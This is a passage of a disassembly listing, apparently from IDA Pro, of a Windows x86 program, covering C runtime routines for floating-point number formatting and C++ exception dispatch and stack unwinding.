; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A7FD+27j
					; sub_41A7FD+2Cj ...
		mov	ecx, eax


loc_41A835:				; CODE XREF: sub_41A7FD+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41A835
		cmp	[eax], dl
		jnz	short loc_41A840
		dec	eax


loc_41A840:				; CODE XREF: sub_41A7FD+40j
					; sub_41A7FD+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41A840

locret_41A84A:				; CODE XREF: sub_41A7FD+21j
		retn
sub_41A7FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A84B	proc near		; DATA XREF: sub_415DEB+28o
					; seg001:off_43A290o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4217E0
		fnstsw	ax
		sahf
		jb	short loc_41A860
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A860:				; CODE XREF: sub_41A84B+Fj
		xor	eax, eax
		retn
sub_41A84B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A863	proc near		; CODE XREF: sub_41B605+430p
					; DATA XREF: sub_415DEB+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41A88C
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41E5AA
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A88C:				; CODE XREF: sub_41A863+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41E5D7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41A863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8A1	proc near		; CODE XREF: sub_41AB1E+17p
					; sub_41AB68+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_46B6A4, 0
		push	ebx
		push	esi
		jz	short loc_41A8D6
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_46B6A0
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41ABB9
		pop	ecx
		pop	ecx
		jmp	short loc_41A90E
; ---------------------------------------------------------------------------


loc_41A8D6:				; CODE XREF: sub_41A8A1+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41E67B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41E604
		add	esp, 14h


loc_41A90E:				; CODE XREF: sub_41A8A1+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41A91A
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41A91A:				; CODE XREF: sub_41A8A1+73j
		test	ebx, ebx
		jle	short loc_41A932
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_438130
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41A932:				; CODE XREF: sub_41A8A1+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_46B6A4, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_415A20
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41A959
		mov	byte ptr [ecx],	45h


loc_41A959:				; CODE XREF: sub_41A8A1+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41A99E
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41A96D
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41A96D:				; CODE XREF: sub_41A8A1+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41A984
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A984:				; CODE XREF: sub_41A8A1+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A99B
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41A99B:				; CODE XREF: sub_41A8A1+E7j
		add	[ecx+1], bl


loc_41A99E:				; CODE XREF: sub_41A8A1+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A8A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9A5	proc near		; CODE XREF: sub_41AB45+13p
					; sub_41AB68+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_46B6A4, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A9E0
		mov	eax, dword_46B6A8
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_46B6A0
		cmp	eax, ebx
		jnz	short loc_41AA10
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41AA10
; ---------------------------------------------------------------------------


loc_41A9E0:				; CODE XREF: sub_41A9A5+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41E67B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41E604
		add	esp, 14h


loc_41AA10:				; CODE XREF: sub_41A9A5+22j
					; sub_41A9A5+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41AA1E
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41AA1E:				; CODE XREF: sub_41A9A5+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41AA35
		push	1
		push	edi
		call	sub_41ABB9
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41AA37
; ---------------------------------------------------------------------------


loc_41AA35:				; CODE XREF: sub_41A9A5+7Ej
		add	edi, eax


loc_41AA37:				; CODE XREF: sub_41A9A5+8Ej
		test	ebx, ebx
		jle	short loc_41AA7C
		push	1
		push	edi
		call	sub_41ABB9
		mov	al, byte_438130
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41AA7C
		cmp	byte_46B6A4, 0
		jz	short loc_41AA61
		neg	esi
		jmp	short loc_41AA67
; ---------------------------------------------------------------------------


loc_41AA61:				; CODE XREF: sub_41A9A5+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41AA69


loc_41AA67:				; CODE XREF: sub_41A9A5+BAj
		mov	ebx, esi


loc_41AA69:				; CODE XREF: sub_41A9A5+C0j
		push	ebx
		push	edi
		call	sub_41ABB9
		push	ebx
		push	30h
		push	edi
		call	sub_415390
		add	esp, 14h


loc_41AA7C:				; CODE XREF: sub_41A9A5+94j
					; sub_41A9A5+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA83	proc near		; CODE XREF: sub_41AB68+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41E67B
		mov	dword_46B6A0, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_46B6A8, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41E604
		mov	eax, dword_46B6A0
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_46B6A8, ecx
		setl	cl
		mov	byte_46B6AC, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_46B6A8, eax
		jl	short loc_41AB09
		cmp	eax, ebx
		jge	short loc_41AB09
		test	cl, cl
		jz	short loc_41AAFA


loc_41AAF0:				; CODE XREF: sub_41AA83+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41AAF0
		and	[esi-2], al


loc_41AAFA:				; CODE XREF: sub_41AA83+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AB45
		add	esp, 0Ch
		jmp	short loc_41AB19
; ---------------------------------------------------------------------------


loc_41AB09:				; CODE XREF: sub_41AA83+63j
					; sub_41AA83+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41AB1E
		add	esp, 10h


loc_41AB19:				; CODE XREF: sub_41AA83+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41AA83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB1E	proc near		; CODE XREF: sub_41AA83+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_46B6A4, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A8A1
		and	byte_46B6A4, 0
		add	esp, 10h
		retn
sub_41AB1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB45	proc near		; CODE XREF: sub_41AA83+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_46B6A4, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A9A5
		and	byte_46B6A4, 0
		add	esp, 0Ch
		retn
sub_41AB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB68	proc near		; CODE XREF: sub_417D6C+3AAp
					; DATA XREF: sub_415DEBo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41ABA3
		cmp	[ebp+arg_8], 45h
		jz	short loc_41ABA3
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41AB90
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A9A5
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AB90:				; CODE XREF: sub_41AB68+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AA83
		jmp	short loc_41ABB4
; ---------------------------------------------------------------------------


loc_41ABA3:				; CODE XREF: sub_41AB68+7j
					; sub_41AB68+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A8A1


loc_41ABB4:				; CODE XREF: sub_41AB68+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41AB68	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABB9	proc near		; CODE XREF: sub_41A8A1+2Cp
					; sub_41A9A5+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41ABDC
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416320
		add	esp, 10h
		pop	esi


loc_41ABDC:				; CODE XREF: sub_41ABB9+7j
		pop	edi
		retn
sub_41ABB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABDE	proc near		; CODE XREF: seg001:00415FCCp
					; sub_416035+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41ABF4
		call	sub_41B482


loc_41ABF4:				; CODE XREF: sub_41ABDE+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41AC1C
		cmp	dword ptr [esi+4], 0
		jz	short loc_41AC72
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AC72
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41AF25
		add	esp, 10h
		jmp	short loc_41AC72
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: sub_41ABDE+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41AC72
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41AC56
		cmp	[eax+14h], edi
		jbe	short loc_41AC56
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41AC56
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41AC75
; ---------------------------------------------------------------------------


loc_41AC56:				; CODE XREF: sub_41ABDE+4Aj
					; sub_41ABDE+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AC79
		add	esp, 20h


loc_41AC72:				; CODE XREF: sub_41ABDE+23j
					; sub_41ABDE+29j ...
		push	1
		pop	eax


loc_41AC75:				; CODE XREF: sub_41ABDE+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41ABDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC79	proc near		; CODE XREF: sub_41ABDE+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41AC99
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41AC9E


loc_41AC99:				; CODE XREF: sub_41AC79+16j
		call	sub_41B482


loc_41AC9E:				; CODE XREF: sub_41AC79+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AD12
		cmp	[esi+14h], edi
		jnz	short loc_41AD12
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AD12
		mov	esi, dword_46B6B0
		test	esi, esi
		jz	loc_41ADF0
		mov	eax, dword_46B6B4
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41E802
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41ACF4
		call	sub_41B482


loc_41ACF4:				; CODE XREF: sub_41AC79+74j
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41AD12
		cmp	[esi+14h], edi
		jnz	short loc_41AD12
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41AD12
		call	sub_41B482


loc_41AD12:				; CODE XREF: sub_41AC79+41j
					; sub_41AC79+46j ...
		cmp	[esi], ebx
		jnz	loc_41ADF5
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41ADF5
		cmp	[esi+14h], edi
		jnz	loc_41ADF5
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_416183
		add	esp, 14h
		mov	ebx, eax


loc_41AD49:				; CODE XREF: sub_41AC79+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41ADE0
		cmp	[ebx], edi
		jg	short loc_41ADD5
		cmp	edi, [ebx+4]
		jg	short loc_41ADD5
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41ADD2


loc_41AD6E:				; CODE XREF: sub_41AC79+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41AD9F


loc_41AD80:				; CODE XREF: sub_41AC79+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41AEC8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ADAE
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41AD80


loc_41AD9F:				; CODE XREF: sub_41AC79+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41AD6E
		jmp	short loc_41ADD2
; ---------------------------------------------------------------------------


loc_41ADAE:				; CODE XREF: sub_41AC79+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41AFD9
		add	esp, 2Ch


loc_41ADD2:				; CODE XREF: sub_41AC79+F3j
					; sub_41AC79+133j
		mov	edi, [ebp+var_10]


loc_41ADD5:				; CODE XREF: sub_41AC79+DEj
					; sub_41AC79+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41AD49
; ---------------------------------------------------------------------------


loc_41ADE0:				; CODE XREF: sub_41AC79+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41ADF0
		push	1
		push	esi
		call	sub_41B34E
		pop	ecx
		pop	ecx


loc_41ADF0:				; CODE XREF: sub_41AC79+56j
					; sub_41AC79+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: sub_41AC79+37j
					; sub_41AC79+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AE1B
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41AE20
		add	esp, 20h
		jmp	short loc_41ADF0
; ---------------------------------------------------------------------------


loc_41AE1B:				; CODE XREF: sub_41AC79+180j
		jmp	sub_41B42C
sub_41AC79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE20	proc near		; CODE XREF: sub_41AC79+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_46B6B8, 0
		push	esi
		push	edi
		jz	short loc_41AE51
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41605A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41AEC4


loc_41AE51:				; CODE XREF: sub_41AE20+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_416183
		add	esp, 14h
		mov	esi, eax


loc_41AE6D:				; CODE XREF: sub_41AE20+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41AEC4
		cmp	edi, [esi]
		jl	short loc_41AEBC
		cmp	edi, [esi+4]
		jg	short loc_41AEBC
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41AE96
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41AEBC


loc_41AE96:				; CODE XREF: sub_41AE20+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41AFD9
		add	esp, 2Ch


loc_41AEBC:				; CODE XREF: sub_41AE20+57j
					; sub_41AE20+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41AE6D
; ---------------------------------------------------------------------------


loc_41AEC4:				; CODE XREF: sub_41AE20+2Fj
					; sub_41AE20+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41AE20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AEC8	proc near		; CODE XREF: sub_41AC79+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41AF1F
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41AF1F
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41AEF9
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41AF1B


loc_41AEF9:				; CODE XREF: sub_41AEC8+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41AF03
		test	byte ptr [edi],	8
		jz	short loc_41AF1B


loc_41AF03:				; CODE XREF: sub_41AEC8+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41AF12
		test	byte ptr [edi],	1
		jz	short loc_41AF1B


loc_41AF12:				; CODE XREF: sub_41AEC8+43j
		test	al, 2
		jz	short loc_41AF1F
		test	byte ptr [edi],	2
		jnz	short loc_41AF1F


loc_41AF1B:				; CODE XREF: sub_41AEC8+2Fj
					; sub_41AEC8+39j ...
		xor	eax, eax
		jmp	short loc_41AF22
; ---------------------------------------------------------------------------


loc_41AF1F:				; CODE XREF: sub_41AEC8+Bj
					; sub_41AEC8+14j ...
		push	1
		pop	eax


loc_41AF22:				; CODE XREF: sub_41AEC8+55j
		pop	edi
		pop	esi
		retn
sub_41AEC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF25	proc near		; CODE XREF: sub_41ABDE+34p
					; sub_41AFD9+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421828
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41AF57:				; CODE XREF: sub_41AF25+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41AFB1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41AF66
		cmp	esi, [edi+4]
		jl	short loc_41AF6B


loc_41AF66:				; CODE XREF: sub_41AF25+3Aj
		call	sub_41B482


loc_41AF6B:				; CODE XREF: sub_41AF25+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41AF86
		push	103h
		push	ebx
		push	eax
		call	sub_41B3E0


loc_41AF86:				; CODE XREF: sub_41AF25+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41AFA6
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41AFC3
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41AFA6:				; CODE XREF: sub_41AF25+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41AF57
; ---------------------------------------------------------------------------


loc_41AFB1:				; CODE XREF: sub_41AF25+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AFC3	proc near		; CODE XREF: sub_41AF25+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41AFD4
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41AFD4:				; CODE XREF: sub_41AFC3+Cj
		jmp	sub_41B42C
sub_41AFC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFD9	proc near		; CODE XREF: sub_41AC79+151p
					; sub_41AE20+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41AFFB
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41B18A
		add	esp, 10h


loc_41AFFB:				; CODE XREF: sub_41AFD9+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41B007
		push	edi
		jmp	short loc_41B00A
; ---------------------------------------------------------------------------


loc_41B007:				; CODE XREF: sub_41AFD9+29j
		push	[ebp+arg_24]


loc_41B00A:				; CODE XREF: sub_41AFD9+2Cj
		call	sub_415F5C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41AF25
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
